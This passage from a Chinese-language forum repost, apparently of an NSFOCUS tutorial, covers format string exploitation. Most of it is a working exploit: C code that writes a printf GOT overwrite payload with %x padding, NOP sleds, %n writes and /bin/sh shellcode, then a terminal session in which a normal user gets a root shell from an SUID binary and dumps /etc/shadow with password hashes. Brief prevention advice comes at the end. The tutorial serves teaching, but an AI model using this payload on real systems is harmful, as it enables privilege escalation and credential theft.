把printf函数GOT Entry的四个字节地址写入,也就是0x0804a6ac、0x0804a6ad、0x0804a6ae、0x0804a6af。我们要分别修改这四个地址的内容。
*/
  fwrite(gotAddr, sizeof(char),16, binFileH);

/*
记得格式化符号串指针后面的内存内容吗?它们是:
--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵(以GOT Entry地址开始)

我们要利用5个格式化符号"%x"跳过格式化符号串指针后面的5 X 4 = 20个字节的内容,依次是:crap里面的51515151、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、*tmp2(0xbffff8dc)、*tmp1(0xbffffadc)。这样GOT Entry的地址将与%n符号对应,sprintf函数将修改GOT Entry地址。
*/
  for (i = 0; i < 10 ; i += 2) {
    strcpy(&xx, "%x");
  }
  fwrite(xx, sizeof(char),strlen(xx), binFileH);

/*
在地址0x0804a6ac中写入0xa0
*/
  memset(buf, '\x90', 0xa0 - 16 -40 -1);
  fwrite(buf, sizeof(char),strlen(buf), binFileH);
  fwrite(glue, sizeof(char),strlen(glue), binFileH);
  memset(buf, 0, 255);

/*
在地址0x0804a6ad中写入0xfb
*/
  memset(buf, '\x90', 0xfb- 0xa0 - 2);
  fwrite(buf, sizeof(char),strlen(buf), binFileH);
  fwrite(glue, sizeof(char),strlen(glue), binFileH);
  memset(buf, 0, 255);

/*
在地址0x0804a6ae中写入0xff
*/
  memset(buf, '\x90', 0xff - 0xfb - 2);
  fwrite(buf, sizeof(char),strlen(buf), binFileH);
  fwrite(glue, sizeof(char),strlen(glue), binFileH);
  memset(buf, 0, 255);

/*
在地址0x0804a6af中写入0xbf
*/
  memset(buf, '\x90', 0x01bf - 0xff -2  );
  fwrite(buf, sizeof(char),strlen(buf), binFileH);
  fwrite(glue, sizeof(char),strlen(glue), binFileH);
  memset(buf, 0, 255);

/*
图穷才匕现,荆轲的匕首按老祖宗的规定是要藏在最后的。
*/
  fwrite(egg, sizeof(char),strlen(egg), binFileH);

  fclose(binFileH);

}


<====================================================================>


下面是Exploit的过程了:


在Exploit之前,我只是普通的用户,食物链中最低的一环,权限一点点而已。

[moda@claton format]$ id -a
uid=500(moda) gid=100(users) groups=100(users)
[moda@claton format]$
[moda@claton format]$ more /etc/shadow
/etc/shadow: Permission denied

但是我发现程序forreal设有SUID位,而且它有Format String漏洞的,

[moda@claton format]$
[moda@claton format]$ ls -l
total 122
-rw-r--r--   1 moda users         450 Aug 13 23:06 binFile
-rwxr-xr-x   1 moda users       39546 Aug 13 23:01 exforreal
-rw-r--r--   1 moda users        1569 Aug 13 23:01 exforreal.c
-rwxr-xr-x   1 moda users       35919 Aug  8 23:43 fordemo
-rw-r--r--   1 moda users         191 Aug  8 23:43 fordemo.c
-rwsr-sr-x   1 root     root        38421 Aug 11 22:17 forreal
-rw-r--r--   1 moda users         572 Aug 11 22:17 forreal.c
[moda@claton format]$


运行我们的Exploit程序产生一个binFile,

[moda@claton format]$ exforreal
[moda@claton format]$ hexdump binFile
0000000 a6ac 0804 a6ad 0804 a6ae 0804 a6af 0804
0000010 7825 7825 7825 7825 7825 9090 9090 9090
0000020 9090 9090 9090 9090 9090 9090 9090 9090
*
0000080 eb90 2502 906e 9090 9090 9090 9090 9090
0000090 9090 9090 9090 9090 9090 9090 9090 9090
*
00000d0 9090 9090 9090 9090 9090 9090 9090 02eb
00000e0 6e25 9090 02eb 6e25 9090 9090 9090 9090
00000f0 9090 9090 9090 9090 9090 9090 9090 9090
*
00001a0 9090 9090 9090 02eb 6e25 c031 6850 2f2f
00001b0 6873 2f68 6962 896e 50e3 8953 99e1 0bb0
00001c0 80cd
00001c2
[moda@claton format]$


再运行一下forreal程序,看看。。

[moda@claton format]$ forreal
Finish Reading in File
bash#
bash#
bash# id -a
uid=500(moda) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
bash# more /etc/shadow
root:awSzo0ynO8iN6:11356:0::7:7::
bin:*:10547:0::7:7::
daemon:*:10547:0::7:7::
adm:*:10547:0::7:7::
lp:*:10547:0::7:7::
sync:*:10547:0::7:7::
shutdown:*:10547:0::7:7::
halt:*:10547:0::7:7::
mail:*:10547:0::7:7::
news:*:10547:0::7:7::
uucp:*:10547:0::7:7::
operator:*:10547:0::7:7::
games:*:10547:0::7:7::
gopher:*:10547:0::7:7::
ftp:*:10547:0::7:7::
man:*:10547:0::7:7::
majordom:*:10547:0::7:7::
postgres:*:10547:0::7:7::
nobody:*:10547:0::7:7::
moda:awimqGD4jpVLY:11356:0::7:7::
qingu:VSKjwsO4DHhnk:11359:0:10000:-1:-1:-1:134535676
bash#

哇塞!权限成功提升,升官了耶!!!


结尾的话:

花了那么多时间来讲如何Exploit Format String,当然也要说一下如何预防被Exploit了,想来想去就那么两条:
1。不要让用户输入格式化符号,象"%x"、"%s"、"%n",危害极大!他们只能也只应该输入数据。
2。你的程序中应该对用户输入内容作些Validation,看有没有用户恶意输入格式化符号,如果有的话,输出几句脏话到他或她的屏幕上!
欢迎访问我们的站点http://www.nsfocus.com/
绿盟科技给您安全的保障
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表